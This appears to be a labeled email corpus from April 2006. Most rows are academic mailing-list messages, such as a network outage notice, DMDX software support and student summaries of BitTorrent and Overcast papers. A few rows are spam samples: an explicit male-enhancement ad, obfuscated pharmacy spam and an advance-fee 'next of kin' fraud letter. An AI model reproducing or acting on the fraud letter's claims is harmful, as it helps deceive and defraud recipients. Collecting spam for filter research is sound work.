unsuccessful and backed out at 17:40. Access to TD services including RADIUS, external DNS, and Kerberos authentication were unavailable for approximately 40 minutes between 17:00 and 17:40. There were secondary interruptions in the University LDAP and CAS services. All services are now up and available. The maintenance will be rescheduled for a later date. If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center ----- Original Message ----- From: Network Operations Center Date: Monday, April 3, 2006 12:00 Subject: Network Maintenance - Tuesday, 04/04/2006 To: NET_PEOPLE@EMAIL.rutgers.edu > Network Maintenance - Tuesday, 04/04/2006 > > ID: 1341 > Description: Device Upgrade - Hill Center > Disruption: Outage > Campus: Busch > Start Date: 04/03/2006 1700 > End Date: 04/03/2006 1800 > Summary: Network > Operations will replace the ar01-hill012-hill > device. At this time, no network connectivity will be > available to networks and services connected through > the ar01-hill012-hill device. Services affected will > include but are not limited to: > > TD VOIP > NETDB Services > Oracle > TD Tools & Web Services > Affected: ar01-hill012-hill > Type: Emergency > ---- Michael Daley -Telecommunications Analyst Office of Information Technology -Telecom Div. Rutgers University Email:daley@rutgers.edu Phone:(732)445-7511 ",0,1 Seungchan Lee ,"ies_ifc@CAVS.MsState.Edu, Daniel May , Joe Picone ","Mon, 03 Apr 2006 15:59:26 -0500",ies_tips: Re: ies_ifc: Instructions using purify,">do you feel comfortable enough with Purify that you could put something like this together quickly? I'm reading tutorials on purify, and little comfortable using purify and fix memory bugs. Different to gdb, purify exactly point out the location of memory problem. However, memory problem came from many reasons. They are due to mostly unintialized, beyond bounds problems. I'm not much familar with making web pages. And, I have something to do with purify. I can do the tutorials on purify until 16th. April. This is because I'd like to have more time to understand memory problems of C++ program. Before that time, we can use online tutorials on purify. I also attache extensive tutorial pages. http://www.system.nada.kth.se/unix/software/rational/purify/punix.htm#html/ht_m_zpw.htm -Seungchan >>> ""Daniel May"" 4/3/2006 3:02 PM >>> I'm thinking this should go under Speech->Tutorials->General. http://www.cavs.msstate.edu/hse/ies/projects/speech/software/tutorials/general/index.html It should not only explain how to build the IFCs with purify, but also how to use purify to identify memory problems. We should include an example or two of an IFC program with memory problems, and one with the problems corrected. The tutorial should include step-by-step instructions with commands and output (similar to the IFC tutorials) to show how purify was used to locate the problem. Seunchan, do you feel comfortable enough with Purify that you could put something like this together quickly? This would be beneficial for the entire group. -Daniel",0,1 """H. Conrad Cunningham"" ","faculty@cs.olemiss.edu, grad@vogon.cs.olemiss.edu, undergrad@vogon.cs.olemiss.edu, announce@vogon.cs.olemiss.edu","Mon, 03 Apr 2006 16:35:39 -0500","Computer Science Seminar, Dr. Robert Laramee, Wednesday, 5 April, 2:00 p.m.","SEMINAR -- Department of Computer and Information Science Advanced Flow Visualization Techniques for Simulation Data Robert Laramee, PhD Research Center for Virtual Reality and Visualization Vienna, Austria 2:00 p.m., Wednesday, 5 April 235 Weir Hall As the size of computational fluid dynamics (CFD) simulation data sets expands, the job of the engineer to analyze, explore, and present the data becomes more challenging. The scientific visualization tools used by the engineer should evolve to meet the growing demands presented by large simulation data sets. Furthermore, no single visualization technique can meet each users needs. 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When 1 and 3 are events whose simultaneous occurrences (within a very short time range, say, mseconds) leads to (or causes) event 2, we may be dealing with what may be called the ""unit temporal bifurcation (UTB)"". This is equivalent to viewing 2 as a ""coincidence detector"" or a ""coincidence detecting event (CDE)"". We can easily imagine a system of two or more CDEs coupled in such a manner as to form a tree, which may be identified with a ""temporal hierarchy"": 1 2^0 / \\ / \\ 2 3 2^1 / \\ / \\ / \\ / \\ 4 5 6 7 2^2 / \\ / \\ 8 9 10 11 12 13 14 15 2^3 / \\ / \\ 16 17 18 19 20 21 23 24 . . . 2^4 Figure 1. A temporal hierarchy composed of a set of coincidence-detecting events (CDEs), each constructed from a set of three nodes, j-i-k, where the simultaneous occurrence of events j and k leads to (or causes) event i. If a temporal hierarchy consists of n levels (e.g., level 1 containing nodes 2 and 3; levels 2 containing nodes 4, 5, 6 & 7, etc.), the nodes at the highest level (e.g., 16, 17, 18, etc. at level 4 in Figure 1) may be referred to as the zero^th order CDEs; the nodes at the (n – 1)^th level as the 1st order-CDEs, etc. The higher the order of a CDE, the smaller would be the probability of its occurrence in nature in general, unless promoted by some devices driven by dissipation of free energy. Thus we can recognize two kinds of CDEs – the passive and active CDEs. The temporal hierarchy (TH) built from passive CDEs may be called passive TH and that build up of active CDEs as active TH. It appears reasonable to assume that living systems are examples of active THs and passive THs belong to abiotic systems. The idea that living systems embody active THs seems to be supported by both theoretical and experimental evidences: (1) Enzymes are active coincidence detectors in that the simultaneous localization of four or more catalytic residues at the active site of an enzyme at the transition state, driven by the free energy of substrate binding, leads to catalysis (see Figure 10 in [1]). (2) All molecular motors can be treated as coincidence detectors in that the mechanical energy stored in them results from the coincidence of the nuclear rearrangements (also called conformation or noncovalent changes) of proteins and the electronic transitions of bound ligands (e.g., ATP hydrolysis to ADP and Pi, or oxidation of AH_2 to A); see Figure 3 in [2]). (3) Bacteria can act as coincidence detectors [3]. (4) Neurons of the visual cortex, auditory cortex, somatosensory cortex, hippocampus, the frontal cortex, and odor sensors act as coincidence detectors [4,5]. (5) The cerebral cortex responsible for consciousness may be a coincidence detectors of neuronal firings [6]. The spatial structures of living systems (e.g., DNA double helix, 3D X-ray structures of enzymes and biochemicals, etc.) that have been the focus of research in molcula rbiology for over half a century may be considered as a necessary condition but not sufficient one to give rise to life. The missing link may be what may be called “temporal structures” (in contrast to ""spatial structures""), which may act as the sufficient condition for life. In other words, spatial structures can lead to life if and only if they can support temporal structures or active temporal hierarchies. In this context, the biological evolution may be viewed as the emergence of active temporal hierarchies from passive temporal hierarchies through dissipation of free energy: Free Energy Passive Temporal Hierarchies ------------> Active Temporal Hierarchies Figure 2. The biological evolution as the emergence of active temporal hierarchies supported by spatial structures and free energy dissipation. The root of a temporal hierarchy with n levels can be identified with an n^th-order CDE, according to the defintions introduced above. As can be seen from Figure 1, an n^th-order CDE requires simultaneous occurrences (or synchrony) of 2^n zero^th-order CDEs. If the average probability of occurence of a zero^th- order CDE is p, then the probability P of the n^th-order CDE being realized passively (i.e., without any free energy input) would be p^(2^n). If p=0.01, then P = 1/10^(2^(n+1)), which would be 1/10^33, a very small number. If n = 2, then P = 1/10^8, which may be increased close to unity (i.e., increased by a factor of 10^8), if free energy can be utilized to promote coincidence events underlying the n^th0order CDE. Reducing uncertainty by a factor of 10^8 through free energy dissipation is a common occurence in living systems. Living processes (e.g., enzymic catalysis, active transport, cell cycle events, directed cell motions, etc.) appear highly improbable to us. This may be an illlusion arising from our ignorance about the precise mechanisms available to living systems or their components, driven by free-energy dissipation, that reduces uncertainty or increases the probability P to close to unity. If these conjectrues are valid, the following corollaries may be deduced: ""With appropriate spatial structures capable of utilizing free energy, there is no events that cannot be realized in nature with a probalilty close to unity."" ""Life is an inevitable consequence of some spontaneously occurring spatial structures capable of utilizing free energy."" ""Appropriate spatial structures and complementary free energy sources are necessary and sufficient to both originate and maintain temporal hierarchies otherwise known as living organisms."" References: [1] Ji, S. (1974). Energy and Negentropy in Enzymic Catalysis. Ann. N. Y. Acad. Sci. 227:419-437. [2] Ji, S. (1974). A General Theory of ATP Synthesis and Utilization. Ann. N. Y. Acad. Sci. 227:211-226. [3] Mok, K. C., Wingreen, N. SD., and Bassler, B. L. (2003). Vibrio harveyi quorum sensing: a coincidence detector for two autoinducers controls gene expression. The EMBO Journal 22:870-881. [4] Nase, G., Singer, W., Monyer, H., and Engel, A. K. (2003). Features of Neuronal Synchrony in Mouse Visual Cortex. J. Neurophysiol. 90:1115-1123. [5] P. Konig, A.K. Engel, and W. Singer. Integrator or coincidence detector? The role of the cortical neuron revisited. Trends Neurosci., 19:130--137, 1996. [6] Swindale, N. V. (2003). Neural Synchrony, Axonal Path Lenghts, and General Anesthesia: A Hypothesis. ",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Mon, 03 Apr 2006 16:49:44 -0400",PAPER 18,"MODELING AND PERFORMANCE ANALYSIS OF BITTORRENT-LIKE PEER-TO-PEER NETWORKS The paper provides an analysis of the BitTorrent network based on four critical factors: Peer Evolution, Scalability, File Sharing Efficiency, and Incentives to prevent free-riding. Peer Evolution refers to arrival/departure and uploading/downloading bandwidth, etc., of peers over time. File Sharing Efficiency refers to the system's ability to maximize bandwidth utilization across all peers. The authors use a fluid model to analyze the system, and are able to draw several conclusions. The first is that the time required to download a file is independent of the number of requests made for that file, indicating that BitTorrent has excellent scalability. As expected, the greater the file sharing efficiency, the faster the download times, and the faster seeds leave the system, the longer the download times. They find that it if users' download bandwidth is great enough, upload bandwidth becomes the limiting resource slowing down file transfer speeds. However, if seeds leave the system slowly, then downloading bandwidth is the limiting resource of the system. They provide an analysis of file sharing efficiency, and find that because files are typically broken up into several hundred chunks, efficiency is high even when nodes share between very few nodes. Sharing between more nodes increases efficiency, although slowly. Their analysis of incentives leads to several findings. The first is rational users of the system will in fact share files using all available bandwidth, as this will maximize their download speeds. However, due to optimistic unchoking, a free-riding peer will achieve 20% of the maximum downloading rate. The authors obtained experimental results by sharing one of their files. It was downloaded less than 100 times. Traces from this experiment did however match their model to some degree. They also verified other aspects of their model by examining the log file from a BitTorrent tracker. The degree to which the model actually matches the experimental data is somewhat questionable. Visually, one can see that the only plot where model and data match closely is the evolution of the number of seeds. BitTorrent yields a tremendously complex network, due the strong relationship between user behavior and sharing success rates. While the model follows intuition about the network, it does not capture any of the fine grained problems that occur in the network, such as when particular pieces of a file become particularly rare. Also, their data does not come from a popular file, as so may not be representative of a typical scenario. They also seem to assume that users do not change the default settings for their client, without really justifying this. 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",DMDX@psy1.psych.arizona.edu,"Tue, 04 Apr 2006 08:26:05 -0700",[DMDX] Re: dmdx not running on new pc,"At 01:04 PM 4/4/2006 +0200, you wrote: >we recently installed a new pentium 4 pc with asus board down in the lab >for handling stimulus presentation. >unfortunatelly it turns out, that even when running a syntax check on a >simple test script >for the pio card (just to see if triggers will be send correctly to the >eeg amplifier connected to it) >processor use by dmdx will rise to 100% and the computer will freeze. >setting default values and so on with time-dx worked fine so far. >any suggestions ??? My immediate suspicion would be the PIO drivers, particularly if it's got a Keithley card in it. If it doesn't happen when the PIO isn't used then it's the PIO drivers. If you aren't using the QPIO devices then try them, ie . It's not too surprising to see DMDX peg the CPU at 100% on a syntax check as it's processing things as fast as it can and there are certain conditions that can whack a syntax check such as missing the last semi-colon in an item file. Other things include updating all the drivers you can, go to the ASUS page and download the latest system drivers, get new video drivers and so on. If it doesn't go away you'll have to start removing elements from the item file to determine which is tossing the machine for a loop. I'd start commenting out all the PIO stuff, then the sound stuff if it's used, then digital video and so on. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The world wants to be deceived.",0,0 ARL Communications ,,,"On the ARL Server (April 3, 2006)","On the ARL Server Week of April 3, 2006 Surveying the E-Journal Preservation Landscape by Anne R. Kenney, Associate University Librarian, Instruction, Research, and Information Services, Cornell University Library SPARC E-News, February–March 2006 SPARC Open Access Newsletter, April 2, 2006 ARL Membership Meeting, May 16–19 in Ottawa Living the Future 6: WOW!—Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5–8, 2006 Library Assessment Conference Call for Papers—Due April 15 Nominations for 2006 Service Quality Evaluation Academy—Due May 1 Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 Job Posting: Technical Applications Development Manager for LibQUAL+™ and Statistics and Assessment Activities [PDF] ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 04 Apr 2006 10:00:22 -0700",[DMDX] Re: dmdx not running on new pc,"At 08:26 AM 4/4/2006 -0700, you wrote: > If it doesn't go away you'll have to start removing elements from the > item file to determine which is tossing the machine for a loop. I'd > start commenting out all the PIO stuff, then the sound stuff if it's > used, then digital video and so on. Assuming of course that your test script doesn't lock the syntax check up on another machine, you could always have stumbled upon a new way to screw the syntax check up ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Is not marriage an open question, when it is alleged, from the beginning of the world, that such as are in the institution wish to get out, and such as are out wish to get in? - Ralph Emerson ",0,0 Liam Proven ,Unsupported OS X ,"Tue, 04 Apr 2006 14:25:29 +0000",Re: B&W G3 instability,"On 4/3/06, Simon Brown wrote: > Yes I know it seems hard to believe but it's true. Lots of disc > activity none the less. And only using standard IDE nothing extra > too. (boss was a bit tight at spending at times...) I'm impressed! :¬) > usual resources but - xlr8yourmac.com I can't afford to spend any money on this, so any suitable fan will have to be cannibalised from another machine. > From memory the system profiler gave that info. If not then > something like tattle tech or similar should do the trick. > > Or better yet try this http://www.xlr8yourmac.com/G3CARDS/PPCchecker/ > > It seems that Copper ran cooler but often wouldn't take as much a > bump as the Aluminium version - again it's been too long since I did > this to remember fully. I would trawl the archives above. Excellent - thanks! - LP",0,1 Souhila Messaoud-Galusi ,"DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu","Tue, 04 Apr 2006 18:11:31 +0100",[DMDX] Re: record long output sounds,"My RAM is 0.99 GB, do you think it is too limiting ? Thanks Souhila At 22:54 20/03/2006, Jonathan C. Forster wrote: >There shouldn't be any particular limit. You could try putting more >memory in your machine (RAM, not hard disk) I guess but 49 seconds >is only a two megabyte buffer and that's shouldn't be anything >amazing. It's possible that your sound drivers are freaking at >being told to create a two megabyte buffer I guess. > >At 07:46 PM 3/20/2006 +0000, you wrote: >>Dear all, >> >>I am using DMDX to run experiments with children and the forum and the >>online tips have been of a great help to build the scripts. >>I am builiding tests with an animated character presenting non word >>repetition and rapid automatic naming tasks and I would like to record the >>oral response in a wav file (but not the RT so I used RecordVocal on its >>own) and the following mouse response in the azk file. >>I managed to do all that with DMDX (thank you) but I cannot record responses >>longer than 30-40 s into .wav file (at DMDX writes ""malloc of >>record buffer failed ...""). I guess this means that I am asking too much but >>in case I wanted to ask if there is a special parameter to specify in order >>to record 1 or even 2 minutes long files or is 40-ish the max? The best >>would be a kind of parameter for recording - but I think it is >>impossible. >> >>Please find a piece of my script below that works fine :) >> >>N2 f38 >255000255> >>0 ""instruction1"" ; >>0 ""middle click when ready""; >>250 ; >>+1 ""+"" / ""1-qoop""/ *""?""; >>250 ; >>0 ""Time"" ; >>0 ""instruction2"" ; >>+2 ""+"" / ""2-mar""/ *""?""; >>250 ; >>0 ""smiley3"", ""Thank You."" / >2> ""applause""; >> >>Would be gratefull for any tips >> >>Best >>Souhila >> >>Souhila MESSAOUD-GALUSI >>Post Doc >>UCL (University College London) >>Department of Phonetics and Linguistics >>Wolfson House >>4 Stephenson Way >>London NW12HE >> >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== > > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Only adults have difficulty with child-proof bottles. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > UCL (University College London) Department of Phonetics and Linguistics Wolfson House 4 Stephenson Way London NW12HE TEL 00 44 (0)207 679 5026 (internal 25026) FAX 00 44 (0)20 7679 5107 Research project http://www.phon.ucl.ac.uk/speechper/",0,1 Miriam ,irc-list-web@skidmore.edu,"Tue, 04 Apr 2006 06:30:44 -0600",sup its Miriam,"Heya! Has your cum ever dribbled and you wish it had shot out? Have you ever wanted to impress your girl with a huge cumshot? MAX LOADS is the only site to offer an all natural male enhancement formula that is proven to increase your sperm volume by up to 500%. Our highly potent, volume enhancing formula will give our results in days and comes with an impressive 100% guarantee. Imagine the difference (look and feel) between dribbling your cum compared to shooting out burst after burst. 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It uses a simple fluid model to capture the performance of BitTorrent using parameters, such as arrival rate of new requests, uploading and downloading bandwidth of peers, rate of downloader aborts, rate of seeds leave the system and effectiveness of file sharing. It analytical derives the average downloading time, the number of downloaders and seeds in the system over time. Using this equation, it gives some insights to BitTorrent network. One important insight is that the download time is independent on the number of peers. However, in this model it assumes that all peers have uniform upload and download bandwidth. And download bandwidth is always larger than the upload bandwidth. It also shows that rationale peer will share all the available uploading bandwidth when each peer knows the uploading bandwidth of all other peers. When there is limited information about the peers, free-riders will only get 20% of possible maximum downloading rate. Finally, it uses experiments to show the model reflects the behavior of BitTorrent. However, we can see that the results in the experiments are not accurate when the arrival rate is small (when lamda = 0.04.) Second, when it compares the result with the real trace, one can tune so many parameters to fit the curve with the real trace to fit the oscillation in the real trace. ",0,0 Theophilus Bricker ,rob@sput.nl,"Tue, 04 Apr 2006 05:10:04 -0700",Re: VALdtUM news,"Hi, L P V V C A X e r I A I m a v o A L A b n i z G I L i a t a R U I e x ra c A M S n http://www.claiccampe.com said, or keep you from much needed rest. Ponies take some catching, I believe, after a long start. And so do burglars, he added as a parting shot, as he darted back and fled up the tunnel. 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User unknown <<< 503 5.5.2 Need Rcpt command.",0,0 David Prosser ,SPARC-OAForum@arl.org,"Tue, 04 Apr 2006 12:23:19 -0400",RE: [SOAF] Optics Express - soaring citation rate,"Having followed the links that George provided for Optics Express I found an interview with Editor-in-Chief Michael Duncan (http://www.in-cites.com/journals/OpticsExpress.html) and was struck by this question and answer: Is Optics Express profitable now? We are profitable now. We have, of course, gotten more staff support from the Optical Society as we have grown, so our expenses have increased, but we are profitable. Although we are by no means at the same kind of level as the traditional subscription-based journals. We are a new model, but a successful model. And it took us a large volume of papers to get to that point. So it would appear that for this journal at least an open access publishing model can work financially. David David C Prosser PhD Director SPARC Europe E-mail: david.prosser@bodley.ox.ac.uk Tel: +44 (0) 1865 277 614 Mobile: +44 (0) 7974 673 888 http://www.sparceurope.org -----Original Message----- From: SPARC Open Access Forum [mailto:SPARC-OAForum@arl.org] On Behalf Of George Porter Sent: 21 March 2006 20:55 To: SPARC Open Access Forum Subject: [SOAF] Optics Express - soaring citation rate Optics Express , the Open Access journal of the Optical Society of America , ""... was recognized by Essential Science Indicators as having the highest percent increase in total citations in the field of Physics in both September 2005 and January 2006 . A fairly obvious conclusion to be drawn from this information -- freely available, high quality, peer-reviewed material, especially when grouped in a topical manner (well focused journal), will be read and cited, early and often. George S. Porter Sherman Fairchild Library of Engineering & Applied Science California Institute of Technology Mail Code 1-43, Pasadena, CA 91125-4300 Telephone (626) 395-3409 Fax (626) 431-2681 http://library.caltech.edu contributor http://stlq.info | http://www.earlham.edu/~peters/fos/fosblog.html",0,1 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Tue, 04 Apr 2006 12:34:56 -0400",PAPER 18,"This paper presents a fluid model to study the scalability, performance and efficiency of BitTorrent-like systems and discusses the incentive mechanism in BitTorrent to discourage free-riders. * The fluid model in this paper expresses the average number of seeds (nodes that have all pieces of files for others' downloads), average number of downloaders, and average download time as functions of downloader arrival/leaving rates, upload/download bandwidths and seed leaving rates. * It shows that: (a) the download time is irrelevant to peer arrival rates, thus the system is scalable; (b) the download time increases if many seeds leave the system; (c) the download bandwidth is no longer the bottleneck of the download time if it's large enough. * It then shows that the effectiveness (uploading files to others) of downloaders play an important role to keep the system alive. As long as downloaders upload/share files (even though only a few) with others, the system will eventually reach a steady state. * It also shows that the effectiveness g (which takes values in [0, 1]) is very close to 1 in BitTorrent. Because the value of g is relevant to k, the number of peers a downloader connects to, which in turn is related to the peer arrival rates, this paper concludes that the performance of BitTorrent improves as the size of the system increases. * It finally shows that, affected by the peer selection rules, each peer chooses its uploading bandwidth equal to the actual uploading bandwidth; that is, Nash equilibrium exists. This paper shows the effect of optimistic choking on free-riders: free-riders gets an average download rate in inverse proportion to n+1, where n is the number of a peer's uploads (4 in current BitTorrent; in this case, download rate of a free-rider is about 20%). To decide an optimal n to balance system performance with deterrence of free-riders is an open issue.",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Tue, 04 Apr 2006 09:23:41 -0700",PAPER 18,"This paper presents a mathematical model for the behavior of a BitTorrent network. Their model explains several features of the BitTorrent network. In their model, the average downloading time is independent of the request arrival rate, which explains why BitTorrent can handle flash crowds. The average downloading time is related to both the effectiveness of the file sharing, and then rate at which seeds leave the system. They go on to present a model for the effectiveness of filesharing in BitTorrent, and argue that it will always be fairly close to 1. Their analysis of the incentive mechanism in BitTorrent suggests that in a reasonably large network, a freeloading peer will get about 20% of the download bandwidth a well-behaved peer receives. The comparison of the predicted behavior of a BitTorrent network under this model, and an actual BitTorrent network, is extremely limited. Most of the comparison is done between their model and a simulated BitTorrent network. While the general trends in these simulations match up with the model, the simulations have some large oscillations which the model does not predict. The lack of error bars for the simulation data makes it difficult to determine if this is caused by random variation within the simulations, or if the model is failing to predict some behavior. The larger the arrival rate of new requests is, the more accurate the model appears to be. At the end, there is a comparison to the behavior of an actual BitTorrent network. However, the limited popularity of this file makes it difficult to draw any conclusions about the accuracy of the model. While the evolution of the number of seeds and number of downloaders is within the 95% confidence interval, that interval is rather large, especially for the number of downloaders. While having a model of the behavior of BitTorrent would be useful, I'm not convinced that the model presented here will accurately predict the behavior of real BitTorrent networks. -- Victoria Krafft ",0,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Tue, 04 Apr 2006 12:46:47 -0400",PAPER 18,"-----Original Message----- > Date: Tue Apr 04 11:48:07 EDT 2006 > From: ""Gopal Parameswaran"" > Subject: PAPER 18 > To: egs+summary@cs.cornell.edu > > Modeling and Performance Analysis of BitTorrent-Like Peer-to-Peer Networks > This paper develop a simple fluid model to study the performance, scalability, performance and efficiency of Bit Torrent, a file-sharing mechanism of a second generation peer-to-peer (P2P) application. A numerical analysis is performed and numerical results based on both simulations and real traces obtained from the Internet are provided. In more specificity the number of peers in the system and its effect in bit torrent along with the scalability, file sharing efficiency when upload and download speeds are different and the incentives for free riding. The authors develop a develop a simple deterministic model to obtain simple expressions for the average file-transfer time, thus providing insight into the performance of the P2P network with realistic scenarios in the fluid model such as the abandonment of file transfers by peers and download bandwidth constraints and a simple stochastic fluid model which characterizes the variability of the number of peer around the equilibrium values predicted by the deterministic fluid model. This paper obtains expressions for the average number of seeds, the average number of downloader, and the average downloading time as functions of the peer arrival rate, downloader leaving rate, seed leaving rate, uploading bandwidth, etc, which explicitly give us insight on how the network performance is affected by different parameters. This paper also characterized the variability of the system by applying limit theorems to the stochastic model when the arrival rate is large. This paper also discusses the effect of optimistic unchoking on free-riding and how the simple fluid model can capture the behavior of the system even when the arrival rate is small.",0,0 """Simmons, Tami R."" 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Qiu and Srikant develop a model to explore peer evolution, scalability, file sharing efficiency and incentives to participate. This is a fluid model which captures the number of seeds, downloaders, arrival rate of downloaders, uploading and downloading bandwidth, rate at which downloaders and seeds leave the system. An important aspect of the system is the efficiency which is characterized by eta ranging from 0 to 1. At eta=0 downloaders do not upload. At eta=1 all downloaders are uploading to each other. This is an important aspect because this is an important contribution of BitTorrent: that downloaders are able to improve system performance because they can be uploaders as they download the files. Qiu and Srikant show that in BitTorrent, if all peers follow the protocol, eta approaches 1 with N and the number of uploading connections. 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Since we got information about his death, we have been expecting his ""Next of Kin"" to come over and claim his money because it cannot be released unless somebody applies for it as next of kin or relation to the deceased as indicated in our banking guidelines but unfortunately, all his supposed next of kin or relation died alongside with him in the plane crash having nobody behind to claim the money. The banking law and guideline here stipulates that if such money remained unclaimed after four years, the money will be transferred into the Bank Treasury as unclaimed fund. The request for your assistance and maximum co-operation as a foreign citizen to stand as the Next of Kin in this business is occasioned by the fact that the deceased customer was a foreigner.Therefore,your utmost confidentiality in this deal is required. If this interests you,kindly forward your tel,fax and email address to me for the way forward as regards the consumation of this deal. I await your immediate response. Sincerely Yours, - Graham Beale ",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 05 Apr 2006 16:04:14 -0700",[DMDX] DMDX 3.1.5.0,"DMDX 3.1.5.0 adds the keyword: Branch Backwards to Most Recent Keyword MDSP bit 10000000 modifier, backwards branches go to the most recent occurrence of an item number instead of the first. Without BB2MR branching backwards in DMDX is rather crude, you can only branch backwards to the first occurrence in the itemfile (as opposed to the most recent occurrence) of item number N because originally DMTG could not parse an item file backwards. The BB2MR option that overrides this. When branching forwards if DMDX doesn't find an item number after a branch keyword item it will branch to the first occurrence of that item number in the item file unless BB2MR is on in which case it will branch to the most recent occurrence of the item number. When a negative item number is used as a branch destination (and almost all times BB2MR is useful you'll be using a negative item destination) it will also branch backwards to the most recent occurrence of that item. The is handy for repeating an item conditionally without having to code each item number in dozens of little branch items. For instance we have a paradigm where the subject is allowed to check the time for instance as well as respond to the item. After checking the time the item should be presented again. This can either be done by putting the item number into the or by sticking a stub item before the RT gathering item and branching back to it so every RT gathering group of items can have the same structure. Here a, b and c are responses and F7 and F8 display auxiliary information and F10 displays the time (with a bit of futzing around to get a leading zero on the seconds when needed): ~1; +101 ""First Question"" * ; ~4 ; 5 """" , "":"" / ; 6 """" , "":0"" / ; 7 ""F7 info"" ; 8 ""F8 info"" ; ~9; ~1; +102 ""Second Question"" * ; ~4 ; 5 """" , "":"" / ; 6 """" , "":0"" / ; 7 ""F7 info"" ; 8 ""F8 info"" ; ~9; ~1; +103 ""Third Question"" * ; ~4 ; 5 """" , "":"" / ; 6 """" , "":0"" / ; 7 ""F7 info"" ; 8 ""F8 info"" ; ~9; Note that without the -1 destination it wouldn't work as it would go on to the next item and without BB2MR all the -1s would have to be the individual item number for that group, 101, 102 or 103 in our example. And because we've now got uniform branched we could replace most of that text with macros: $~999 mu+* + mv+ + mw+ """" , "":"" / + mx+ """" , "":0"" / + mx+""F7 info"" + mz+""F8 info"" +;$ ~1; +101 ""First Question"" ~u ; ~4 ~v; 5 ~w; 6 ~x; 7 ~y; 8 ~z; ~9; ~1; +102 ""Second Question"" ~u ; ~4 ~v; 5 ~w; 6 ~x; 7 ~y; 8 ~z; ~9; ~1; +103 ""Third Question"" ~u ; ~4 ~v; 5 ~w; 6 ~x; 7 ~y; 8 ~z; ~9; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Is not marriage an open question, when it is alleged, from the beginning of the world, that such as are in the institution wish to get out, and such as are out wish to get in? - Ralph Emerson",0,0 Victoria Krafft ,egs+summary@cs.cornell.edu,"Wed, 05 Apr 2006 16:57:48 -0700",PAPER 19,"Overcast uses an overlay network to provide single-source multicast. In Overcast, nodes which wish to subscribe to some multicast channel self-organize into a content distribution tree, with node providing the data source at the root. Because it has a more limited focus than Narada or yoid, Overcast can eliminate some of the overhead those protocols require. Overcast attempts to maximize the bandwidth between nodes. Individual nodes join as children of the root, and then attempt to move as far down the tree as possible without sacrificing bandwidth. Nodes periodically re-evaluate their place in the network, and move around as needed. In Overcast, each node stores information about the status of all nodes underneath it. When a node fails, its children simply re-join the tree as children of an ancestor. This approach still has some potential issues. Because all nodes start out as direct children of the root node, a flash crowd could overwhelm the link between the root node and the rest of the world, reducing performance for everyone. Because Overcast focuses on bandwidth when creating trees, a large network could produce deep trees, and a large latency between the root node and a leaf. Using a different metric when building the trees could improve this. The general structure of a tree-based system also puts more load on some nodes than others; high-bandwidth nodes will be broadcasting out more data than they are taking in, while leaf nodes use no outgoing bandwidth. -- Victoria Krafft ",0,0 Huang Shiang-Jia ,egs+summary@cs.cornell.edu,"Thu, 06 Apr 2006 01:30:11 -0400",PAPER 19,"Overlcast is an application-level multicast system implemented as an overlay network. It builds a data distribution tree, whose goal is to optimize the bandwidth, for single-source multicast, and its protocol provides timely status updates to adapt to the changing network conditions. * Overcast distribution tree emphasizes bandwidth efficiency over other metrics such as latency. It places a node as far away from the root as possible without sacrificing the bandwidth. * To join, nodes contact the root of an Overcast group and move down to the point in the tree where they can still maintain some level of bandwidth. They constantly re-evaluate their positions in the tree, in terms of bandwidth, and move if necessary. * With the up/down protocol, each node periodically checks with its parent, and this information of which nodes are up/down is propagated to the root. The purpose of this protocol is for the root to maintain the global state of the Overcast system. * The source (root) of each distribution tree acts as a single point of failure and carries all loads. To alleviate this, several replicated roots together handle the node joins in round-robin fashion. Some number of nodes starting with the root are configured linearly to address fault tolerance. * In Overcast multicasting, only one non-root sender is active at any particular time. The sender unicasts to the root, which performs the multicast on behalf of the sender. Data are moved between parent sand children using TCP streams. * The participating nodes in this system are supposed to be dedicated machines rather than desktop computers. This protocol is thus less suitable in peer-to-peer systems. * Replication of the root can't change the nature of load imbalance in a multicast distribution tree. Interior nodes carry the load to forward data while leaf nodes don't. Loads are Not evenly distributed to all participants in the system.",0,0 Niranjan Sivakumar ,egs+summary@cs.cornell.edu,"Thu, 06 Apr 2006 01:37:30 -0400",PAPER 19,"Niranjan Sivakumar Overcast: Reliable Multicasting with an 